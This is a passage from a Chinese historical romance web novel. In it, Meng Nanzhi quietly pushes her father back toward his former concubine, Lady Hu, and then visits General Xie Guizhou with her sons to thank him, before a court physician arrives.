所以他今日才能早早地回了府。
孟南枝眼睛一亮,本就坐在他身侧的身子忍不住向前倾斜了一些,声音中也带了点撒娇似的软糯。
“父亲,我突然想起来明日要随修儿一起去拜谢屠戎将军,但因为下雨回来的急,倒是忘了去胡姨娘那里去拿定好的成衣。”
“我这淋雨回来还未洗漱,不便再跑。趁天色尚早,不若父亲您帮我去拿一下吧。”
孟正德捏着玉盏的手指微动,抬目看了眼天色,微微颔首,“好。”
见父亲答应,孟南枝笑眯眯地连忙站起来,示意丫鬟取了件墨色披风过来,给他披上,并系好。
“爹,我让阿贵带您过去,他对那边比较熟。”
见女儿这般热切模样,孟正德眸中闪过笑意,在其催促中,由老阿福撑着油伞登上马车。
倒是谁也没提,取衣左右不过是让下人跑一趟的事。
……
秋雨势小,淅淅沥沥。
马车碾过水洼,发出轻微的声响,并留下一串串淡白色的印迹。
路上行人稀少,马儿便如撒了欢儿一样直奔目的地。
待它停稳,老阿福扶着孟正德下车时,雨水已晕染了那方青砖黛瓦。
素木门扉躲在檐下,未曾沾上一点潮湿。
虽有轻风,但那铜铃却始终保持静默,就连垂下的丝线,都未曾动上分毫。
雨滴透过油伞垂落地面,发出细腻的声响。
站在檐下的孟正德对着那方门扉踌躇了片刻,方才抬手扣响木门。
“来了。”
随着一声脆响,素门微开,露出翠平的脑袋,“谁呀?”
翠平张口欲问是谁的话,在看清来人后,嘴巴惊成了鹅蛋,又连忙福身行礼。
“老、老……孟、孟相。”
结结巴巴的称呼,让翠平恨不得自打嘴巴。
这才离府多久,竟是忘了老爷已升右相。
孟正德微微颔首,示意她起身。
翠平才又慌慌张张地给他让位,并忙迎着他进门,“孟相,里面请,奴婢这就通知……夫人。”
夫人二字是强撑着才吞出来的,毕竟她之前都是在孟正德面前称姨娘。
原本她还担心孟正德会生气,哪想孟正德竟然未再上前一步,直接停在檐下,等她去通报。
翠平当下便松出一口气,顾不得撑伞,提起裙摆就开始小步往屋内急走。
一边走还一边告诫自己,不能急,不能跑,不能大声叫,不能让孟相小瞧了她们的礼节。
檐角垂落细碎的雨珠,落在孟正德的脚下,溅起浅淡的湿痕。
他深邃的目光打量着眼前从未来过的小院,逐渐变得柔和。
小院不大,却收拾得井井有条。门边的石榴树,叶子已经泛黄,在雨中轻轻摇曳。
直通正屋的青石板路,被雨水冲刷得干干净净。两旁种着些不知名的花草,虽已入秋,却仍有几分生机。
直到眼前涌入那抹熟悉到已经不知不觉中刻入到骨子里的身影,孟正德的手指才开始不自觉地轻揉捻捏。
雨伞下的胡姨娘身着一袭湛蓝色菊纹襦裙,外罩浅白软缎坎甲,裙摆同样绣着细碎的秋菊。
微染霜色的鬓发梳得整齐妥帖,仅斜插了一根温润玉簪,面容温婉平和,眉眼含柔,看向他的目光中又含着淡淡的笑意。
“孟相。”
行至身前的胡姨娘浅浅福了一礼。
“起来吧,不必多礼。”
孟正德的声音中带了丝哑意。
胡姨娘起身,迎着他往屋里请。
跨过门槛,正入厅堂。
厅内陈设简雅温馨,正墙悬挂一幅淡墨山水图,中央摆着一张梨木八仙桌,配了四把素面木椅。
桌案上放着的素瓷花瓶中,插着几枝带雨的秋菊,泛着淡淡的清香。
旁边立着的木柜角落,还摆放着几盆绿植,更为这别致的厅堂添上几分勃勃
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生机。
胡姨娘亲自取出瓷盏,为他沏上茶水,“舍内简陋,望孟相莫要嫌弃。”
“你这里倒是雅致。”孟正德微微颔首,并没有附和她的自谦。
多年的相处,使得胡姨娘知道他说的是真心话,垂眸但看他靴面的微潮,语气中下意识带了几分叮嘱。
“孟相若有事,可托下人前来告知一声,不必冒雨前来,万一淋雨伤了寒……”
说到最后,胡姨娘方才觉得自己说得多了,忙又止住了话头,讪讪一笑。
倒是忘了自己已经和他没有干系,太过热忱反而遭人嫌弃。
孟正德眸中闪过笑意,端起茶盏一饮而尽,方才开口道:“疫病之事,还未曾多谢你,若非你贴心照顾,恐怕……”
胡姨娘急切地打断他,“孟相莫要如此说,您福大命大,即便没我,也能健康痊愈,再说最终不是确诊只是风寒吗?”
“这种小病,只要按时喝药,好好休养便能好的,也怪我当时太过心急,打乱了太医给您医病的节奏。”
孟正德放下茶盏,目光落在她身上,带着几分柔和。
他和女儿都知道那是假的,也就眼前这位满心满眼只有他的妇人,才会如此单纯地始终信着他们。
孟正德手指揉捏着盏沿,喉间滚了几滚。
压在心间数日的话,终是因为他多年的矜持,而说不出口。
厅内一时陷入寂静,胡姨娘打破沉默道:“孟相今日过来是不是有事?”
孟正德松开茶盏,哑声道:“枝枝说在你这里制了成衣,托我过来拿一下。”
胡姨娘闻言微怔,却又很快缓过神,唤来翠平让她去拿衣服。
得了令的翠平走到里间,还没反应过来到底是拿什么成衣。
因为孟南枝近日并未交代夫人制成衣。
前一段倒是有,但那成衣都已经被拿走完了啊。
琢磨了半天,也没想出头绪,翠平便将胡姨娘闲来做的两双靴子装进了锦盒里。
反正这靴子一看就是照着孟相的尺寸和喜好做的。
夫人定是不好意思提,所以趁这机会送出去刚好。
第254章 去将军府道谢
天色已落暮,细雨渐歇。
孟南枝直到洗浴完毕,也未曾见父亲归府。
她披了件外罩,轻依在红木栏杆从阁楼望去,东邻隔壁的宅园雾蒙蒙的如铺了一层阴。
与自己对邻的阁楼模糊得看不清,大树下的临时练武场被雨水浸得透明。
孟南枝莫名想起谢归舟带着长子沈砚修在那练枪的画画,还有那双炽热的眼睛。
就这么静悄悄地瞧了一阵,孟南枝双手轻拍脸颊回了屋。
本想躺在床榻小歇,等着父亲和次子归来。
哪想这一躺,竟是直接睡了过去。
只是到了夜半打更时,浅眠的脑子一时糊涂,一时清楚,睡得极为不安。
临到天亮勉强感觉才睡着时,又被天然的生物钟给惊醒。
孟南枝感觉脑袋有点发蒙,躺在床上盯着米白色的幔帘愣了好一会儿,方才支起身子。
月芹听到声响走过来,“夫人,您醒了?”
知道孟南枝的习惯,她直接推开了窗。
天色大亮,朝霞满天,映得屋内都泛了红。
“嗯。”
孟南枝轻应了一声,摸了下并未起热的额头,自嘲一声,翻身下床。
月芹连忙过来扶着她,“夫人,今日可是要穿得精致些?”
孟南枝模样气质都好,平日穿得素净也衬得美貌端庄。
可今日同长子约好了要去将军府道谢,不好穿得太过素气。
所以孟南枝便应了月芹的想法,“可以稍微精致些,但也不用太过隆重。”
“好嘞。”月芹忙又唤来月满一起帮忙梳妆。
月满手巧,轻执玉梳便将柔顺的墨发挽成低缓的垂挂髻,并簪上一支赤金镶淡紫珠玉的秋菊钗,又取了同色系的耳坠子为孟南枝戴上,那耳坠子随着她的动作轻轻晃动,更添几分温婉。
孟南枝皮肤白皙细腻,只浅淡地在面颊略施脂粉,便已显得气色极佳,尤其是在涂上豆沙唇脂后,整个人愈发显得温婉动人。
月芹从柜子里取出一套绛紫色锦缎襦裙为她套上,又在腰间束了条绣着暗纹的深色腰带,将纤细的腰肢勾勒得恰到好处。
想了想,月芹又取来一件月白暗纹软缎披帛为她罩在外面。
那披帛质地轻柔,随着孟南枝的动作微微飘动,似天边的一抹流云,更衬得她身姿轻盈、气质出尘。
月满站在一旁,眼中满是赞叹:“夫人不打扮就漂亮,这只稍装扮一下,就像仙女一样。”
而且容貌年轻,气色好,比起那未曾出嫁的姑娘,也不承多让。
“嘴贫。”
孟南枝笑嗔了她一眼,站在铜镜前,确定妆容精致、服饰得体,却又并不显过于隆重后,微微点了点头。
“父亲昨日何时回来的?”
她昨日睡得早,没有等到父亲,也不知道他在胡姨娘那里待了多久。
月芹轻声回道:“昨日您刚睡下,老爷便回来了,还拿回来了两个锦盒,交给奴婢。奴婢打开瞧了眼,是照着老爷尺寸做的两双靴子,奴婢就没敢动,放在那里呢。”
说罢,月芹便去将锦盒拿了过来,打开放到她面前。
靴面是鹿绒的,上面绣着金线,面料厚实,内衬还加了薄绒。
胡姨娘给她留的那封厚实纸张里有提到,父亲脚寒,天一凉,就得穿得厚实,否则从脚跟到膝盖都是冰凉的。
这怕是已经做习惯了,哪怕离开也改不了为父亲挂心的毛病。
低叹一声,孟南枝将靴子放回锦盒。
这两个年过半百的,一个不说,一个不看。
相比年轻人来说,还真不知道该如何撮合。
孟南枝下楼走到厅堂时,长子沈砚修已经在厅堂侯着。
“母亲。”
见孟南枝走来,沈砚修连忙起身行礼。
比起昨日相见,孟南枝觉得他又多了点稳重。
虽然腋下还拄着拐,但一袭深蓝色绣暗纹锦袍穿在他上,依旧显得身姿挺拔如松。
腰间一条银色锦带,缀着块温润的羊脂玉佩,随着他的动作轻轻晃动,更添几分贵气。
孟南枝微笑着点头,上下打量了他一番,满意地说道:“修儿今日这身打扮,倒是精神得很。”
沈砚修微微低头,有些不好意思地笑了笑:“母亲夸赞了,我只是想着今日去将军府,不能失了礼数。”
孟南
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枝微微颔首,温声笑道:“如此甚好,昭儿呢?没随你过来?”
“她刚执掌中馈,正在兴头上,托我给您请个安,就不过来了。”
想到妹妹一早起来训斥下人的模样,沈砚修便摇头失笑。
那些下人之前因为林婉柔执掌中馈,对她虽不苛责,但也有些怠慢。
妹妹这次掌家,多是要让那些人吃些苦的。
有几个,昨晚便已被刘嬷嬷抓到错处,赶出侯府。
对此,作为新任侯府家主的沈砚修自然全力支持,任她处置。
孟南枝闻言同样摇头失笑,“你们如今住在侯府,距离有些远,不用每日过来请安,以后逢三、五过来便是。”
“是,母亲。”沈砚修点头应下。
两人正说着,次子沈砚珩也步伐轻快地走进厅堂,“母亲。”
他应是刚起,额前碎发还沾着水汽,浓眉下的双眸清亮。
未做过重装饰,只简单穿了件竹青色的锦袍,深青色的腰带上挂了件白玉葫芦,尽显朝气。
“母亲,您昨日是不是身子不适?怎么睡得那般早?”
沈砚珩昨日从侯府回来时,本还想见下母亲,见她屋内烛光已灭,便没有打扰。
孟南枝摇头,“没事,只是身子有些乏,歇歇已经好了。”
三人简单用过早膳后,便起身出发去将军府。
因为已经提前送过贴子,所以知道他们要前来的钱飞,带着管家早早便在府门外候着。
见孟家的马车驶来,便急步迎了上来。
“孟夫人,沈世子,沈二公子。”
孟南枝对他微微颔首,面带笑意,“有劳钱都尉久侯。”
“孟夫人言重了,能迎接孟夫人与两位公子,是在下的荣幸。将军得知夫人与两位公子前来,特命在下在此恭候。”
钱飞自是不敢承她的客气,忙引着他们往府里走。
他才没有久等,久等的乃是将军。
昨日明明在路上遇见,却不上前。
回府后又把自己关在书房一夜未眠,早上锦衣还换了一件又一件。
他看不下去的主动到门口侯着,也不知道将军最终穿了哪一件。
第255章 您为将军制衣了吗?
说话间,众人已行至将军府院。
抬眼望去,只见庭院宽敞整洁,种植花草虽不名贵,在秋季却依旧枝叶繁茂。
统一身穿铠甲的侍兵五步一岗地守在青石板路的两侧,见孟南枝他们进来,齐声喊道:“恭迎孟夫人,沈世子,沈二公子。”
声音洪亮震耳,孟南枝一时觉得整个头都是蒙的。
沈砚珩轻轻触碰了下兄长沈砚修的胳膊:哥,你以前来也这阵杖?
沈砚修瞪了他一眼,让他注意身份,别失礼。
实际上他内心也是大受震撼,他一共也就来过将军府一两次。
可那都是被将军拎着到军营历练后,硬拽来的。
府里的侍兵,最多看在将军的面子上对他行个礼,哪有半分敬意。
眼前的阵杖明显是给母亲瞧的。
将军对母亲的心思,众人皆知。
可看母亲此前对将军的态度,明显没有那意思。
又或者说,他其实心里很清楚,母亲为了他们兄妹三个,是不可能接受再嫁的。
想到这里,沈砚修的眸色暗了暗。
总归是他们兄妹还不够强大,母亲担心他们的未来受制于人。
别说孟南枝他们受不了,跟着他们身侧的钱飞也有点受不了。
眼前的阵势明显是临时加的,太过刻意。
除了头脑简单的百万,他实在是想不出还有谁能做到如此地步。
果然,侍兵们的话音刚落,穿得如同孔雀开屏的百万就窜了出来。
“孟夫人,沈世子,珩公子。看看这欢迎仪式怎么样?开不开心,意不意外?”
几人看他,都无奈地失了笑意。
孟南枝附和着捧场,“挺好的,很开心,很意外。”
沈砚修与沈砚珩对视一眼,也笑着点头,“挺好。”
“都下去吧。”
随着一道清洌之声,谢归舟从厅内缓缓而出。
他一袭月白色锦袍在阳光下泛着柔和的光泽,腰间束着一条深紫色绣着暗纹的腰带,更衬得他身姿挺拔如松。
一头乌发用玉冠高高束起,露出饱满而立体的额头。本就英俊似画的面上,此刻嘴角微微上扬,带着一抹淡淡的笑意。
百万见状,忙不迭地摆手让那些侍后都退下,嘴里却是嘟囔着:“也不看看我都是为了谁,钱飞是哑巴,将军是半个哑巴,也就我最牛百万才能撑场子。”
结果他话还没说完,背后一脚便将他踹飞几丈。
刚准备破口大骂,又被眼尖手快的钱飞给捂住了嘴。
祖宗哎,蠢脑子,这话能在外人面前说吗?
这不是让将军在孟夫人面前掉面嘛。
那一脚踢得太快,快到没有人能看清到底是不是谢归舟动的脚。
他依旧站在阶上,衣尘未动,面容冷清。
似有所觉,他微微抬眸,正与孟南枝带着笑意的视线撞个正着。
空气中霎时添了几分莫名的凝滞。
这是上次一别后,两人第一次正面遇上。
谢归舟心头微紧,抬步便想向前走。
孟南枝没有丝毫避讳地浅笑着对他福了福身子,“将军。”
沈砚修和沈砚珩两兄弟也跟着拱手作辑,“将军。”
谢归舟只得耐住冲动,未曾上前,温和道:“不用多礼,里面请。”
孟南枝微微颔首,与长子他们随着谢归舟走向厅内。
厅内布置简洁却不失大气,几案上摆放着精致的茶具和新鲜的果品。
将军府没有丫鬟,也未安排小厮。
谢归舟亲自为他们斟上茶水,“请。”
孟南枝轻抿,茶香在口中散开,不禁称赞道:“将军府的茶果然别有一番风味。”
谢归舟嘴角微微上扬,“你喜欢便好。”
闲话不好多说,孟南枝放下茶盏直接道明来意。
“将军,我与犬子此次前来,一为拜谢将军在山城对犬子的照顾之情,二为拜谢将军对犬子的教导之情,三为拜谢将军特意为犬子收集沈家资料的感激之情。”
言罢,她便起身带着沈砚修和沈砚珩正对着谢归舟深深躬了一辑。
孟南枝的礼节很重,重到她从溺水回来,还是第一次在人面前这么诚心诚意地行礼。
先不提谢归舟对她的情谊,单是他对沈砚修的教导和用心,就值得她真心致谢。
尤其是在知道女儿沈朝昭的长鞭,也可能是他送的后。
那种涌入心底的感激,很难不能触动
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谢归舟见不得她在自己面前低头,连忙起身虚扶,“南枝言重了,沈世子为人聪慧,又勤奋好学,即便没有我,他也会有所成长。”
孟南枝直起身子,浅笑道:“将军莫要谦虚,若不是将军,修儿会有如此大的进步。将军的情谊,我们都记在心里。”
沈砚修和沈砚珩也齐声道:“将军大恩,我们铭记于心。”
尤其是沈砚珩,抬头看向谢归舟的眼睛精亮。
他昨日回去专门问了兄长,为什么在和老族长说话时那么老练。
才得知兄长在和谢归舟从山城回京途中,专门和他演练了很多遍如果想胜任沈家家主,可能要面临的问题。
那些几乎印到沈家所有人心里的沉稳,都是谢归舟一点一点陪着沈砚修磨出来的。
所以对于谢归舟,沈砚珩也是诚心诚意的感谢。
毕竟他知道,谢归舟是唯一一个在母亲未曾回来前,就一直待他兄长友好,试图把他兄长往正路上掰的。
感受到他们的诚心,谢归舟浅笑着颔首,“既如此,那便坐下说吧。”
孟南枝并未依言坐下,而是示意在门口候着的月芹和月满,将早就备好的礼盒送上。
“将军,我与犬子为表谢意,特地备了些薄礼,聊表寸心,还望莫嫌粗陋。”
礼盒一共八个,其中六个都是常规的描金漆盒,单看外表便知里面装的应是贵礼。
对于别人来说,可能更看重这几样。
但对于谢归舟来说,他见得太多,反而并不着重,只轻轻掠过便收回视线。
倒是另外两个用上好锦布包裹的礼盒,与前日里钱飞和百万带回府的款式一样,而且质感反而更好。
谢归舟指尖耸动,眸中闪过亮光,就连唇角都不自觉地勾起。
“有心了。”
言罢,他抬手示意钱飞将礼盒收下。
哪知被禁令进来,躲在门口探头探脑的百万,一看到那礼盒,便又忍不住吆喝起了嗓门。
“孟夫人,您给将军制衣了吗?”
“将军这两日一直憋着气,等着您为他制新衣呢。”
“他还……”
他话音还未落地,一盏茶水便直扑他的门面。
第256章 你想怎么表示感谢
百万想说的话是一句也说不出来了。
茶水扑了一脸不说,连那茶盏都好巧不巧地正砸在他的口中,憋得他差点喘不过气。
他不明白自己明明是好意提醒,怎么将军却反而一点情面都不讲。
钱飞没眼看得顾不得去接礼盒,忙跑出来让侍兵将他拖走。
丢人现眼。
将军本就不是苛刻之人,若没外人在怎么说都好。
可现下孟夫人的两个儿子都在呢,这么明说让他们怎么看待将军。
场面一时有些尴尬。
月芹和月满垂眉憋笑,紧紧盯着怀中的礼盒,不敢抬眼。
孟南枝看了眼谢归舟手边空着的桌案,和他轻轻收回的手指,浅笑着正准备开口。
长子沈砚修却先她一步说道:“将军,此前一直听闻您府上藏书众多,不知可否允许钱都尉带我和珩弟去您的藏书阁一观?”
本欲坐下的沈砚珩轻挑眉梢。
不过是随将军去了趟山城而已,兄长竟然开始叛变向着将军了。
但他也只是默默吐槽两句,身子还是很配合地站在了沈砚修身后。
孟南枝欲言又止。
谢归舟闻言笑看了沈砚修一眼,温声道:“好。”
并抬手便对钱飞示意,让他带沈砚修他们兄弟两个去藏书阁。
月芹和月满眉眼含笑地对视一眼,将怀中礼盒交于进来的管家,轻声退至孟南枝身后。
偌大的厅堂一时显得格外寂静,谢归舟又取出一只玉盏,亲自为两人斟上清茶。
茶香袅袅升起,与室内淡淡的松脂香交织在一起,熏得孟南枝双目发酸,大脑也有些发涨。
她轻按额头,抿了口清茶,才有所缓解。
察觉到她动作的谢归舟,这才注意到她双颊红得有些不正常,“可是身体不适?”
他声音清润,带着几分关切,目光停留在她面上,温柔而灼烈。
孟南枝心跳稍急,不自然地撇开视线,微微摇头,“不妨事,许是方才走得急了些。”
言罢,她又兀自笑道:“天气渐凉,我与犬子特地为将军备了两件新衣,将军若是穿着不合身,可托人送至孟府改制。”
算是回应了刚才百万的问话。
“好。”
谢归舟眸中笑意虽甚,却仍觉她应是身子不适,“我让太医过来为你看看。”
孟南枝连忙摆手拒绝,“将军不必兴师动众,我若不适,自会去看太医。”
她到将军府来是做客道谢的,不是来当主子摆谱的。
若是让太医前来为她这位客人看诊,传出去还不知要闹出多大的动静。
谢归舟见她坚持,也知如此不妥,微微颔首没有再强求。
只是眉宇间带着的关切,总是时不时地瞧向她。
初看只是担心她身子不适,细看又被她未曾有所变化的容貌恍了神。
尤其是她今日略施粉黛,眉眼间更添了几分温婉与妩媚,唇角微微上扬时,仿佛秋日里最柔甜的红橙,让人不由自主地想要摄取。
谢归舟眸色逐渐深沉,喉结不自觉地滚动了一下。
将指尖狠狠掐入掌心,他才勉强移开视线,端起茶盏轻轻抿了一口,试图压下刚刚那种近乎失态的想法。
若是以往,孟南枝自是敏感。
可她今日头脑发昏,总觉得神志不清,对于谢归舟的过多注目并未深究。
但她也知干坐着总归是不妥,只得又强打起精神,开口道:“此前将军不在京都,我擅自进府提审黑水,还未曾向将军表示感谢。”
“贾掌柜特意为小女寻女师傅一事,也未曾向将军表示感谢。”
“还有……”
说起这一件件,一撞撞,孟南枝觉得非要拧巴着感谢他的话,好像就谢不完了。
再开口的谢归舟,声音中带了丝莫名的哑意。
“你想怎么表示感谢?”
孟南枝闻言一怔,没料到一向客气缄默的谢归舟会说出这般话来。
本就不算清明的双目微微睁大,直勾勾地回凝着他。
四目相对撞,一室静默。
一双眸色灼烈滚烫,藏着难掩的情意。
一双眼底懵懂茫然,掺着几分怔忡与退缩。
就在空气都要变得黏湿凝固,气氛微妙得
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快要让人喘不过气来时,一道略带笑意的苍老之声,由门外缓慢而入。
“将军,孟夫人。”
谢归舟连忙克制地收起视线,眸光冷清无波地看向来人。
孟南枝眼帘微阖,指尖往衣袖内蜷了蜷,看着来人面带笑意地主动开口,“于嬷嬷。”
来人正是皇后娘娘身边的于嬷嬷。
她依旧身着灰蓝色宫装,面上带着和善的笑意,不卑不亢地走到厅堂,分别对两人福了一礼。
而后站在谢归舟身侧,轻声道:“将军,皇后娘娘让老奴把医圣给您带来了。”
从礼节上说,此话该避着孟南枝。
偏偏,她就是当着孟南枝的面说了。
谢归舟表情没有任何变化地轻轻点头,“请进来吧。”
随着他的话音落地,门口和于嬷嬷一同而来的宫女,便引着一位身着素衣布袍、须发皆白的老者缓步而入。
老者背着医箱,气度清癯,眉目间带着几分医者的沉静,正是专治疑难杂症、名满天下的“医圣”张正景。
张正景走到谢归舟面前微微躬身,双手作辑,“将军。”
只是在看向孟南枝时,又略显愣神,明显是看不出两人的关系。
他不是京都人,常年四处游历,自然不认识孟南枝。
但他知道屠戎将军未曾娶妻,可眼前的女子身着妇人髻,不管是衣装还是容貌偏偏都与将军好似登对的夫妻。
不待任何人开口解释,孟南枝已然起身。
她对着谢归舟微福一礼,声音清婉疏离,“将军,既然您有要事相谈,南枝便不久扰,先行告退,改日再来拜访。”
“好。”
谢归舟微微颔首,欲起身将她送至厅门。
“将军不必远送。”
孟南枝言罢,低垂的目光不着痕迹地在他腰腹停留了一瞬,便转身带着月芹和月满径直离开厅堂。
谢归舟看着她离去的背影,眸色复杂,却很快便收敛了情绪,转头对张正景道:“有劳医圣了。”
从头至尾,于嬷嬷都面色和善地垂眉立在谢归舟身侧。
未发一言。